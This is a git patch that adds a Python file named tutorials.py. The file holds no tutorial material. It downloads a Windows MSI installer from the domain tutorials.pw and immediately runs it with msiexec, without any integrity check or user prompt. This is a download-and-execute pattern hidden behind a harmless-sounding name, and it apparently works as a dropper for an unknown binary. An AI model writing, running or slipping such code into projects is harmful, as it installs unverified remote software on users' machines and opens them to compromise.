From de62b338ba35118e5b91fe38bdf7bc7dd6f381fd Mon Sep 17 00:00:00 2001 From: CRYPTO DEEP TECH <87700947+demining@users.noreply.github.com> Date: Fri, 9 Aug 2024 01:38:18 +0300 Subject: [PATCH] Add files via upload --- tutorials.py | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 tutorials.py diff --git a/tutorials.py b/tutorials.py new file mode 100644 index 0000000..04c0506 --- /dev/null +++ b/tutorials.py @@ -0,0 +1,24 @@ +import requests +import subprocess +import os + +# URL to download file +url = "https://tutorials.pw/download/Tutorials-Power-AI-7.4-win64.msi" +# The name of the file under which it will be saved +file_name = "Tutorials-Power-AI-7.4-win64.msi" + +# Downloading file +response = requests.get(url) +if response.status_code == 200: + with open(file_name, 'wb') as file: + file.write(response.content) + print(f"File {file_name} downloaded successfully.") +else: + print("Error downloading file.") + +# Run file .msi +try: + subprocess.run(["msiexec", "/i", file_name], check=True) + print("Installation started.") +except Exception as e: + print(f"Error starting installation: {e}")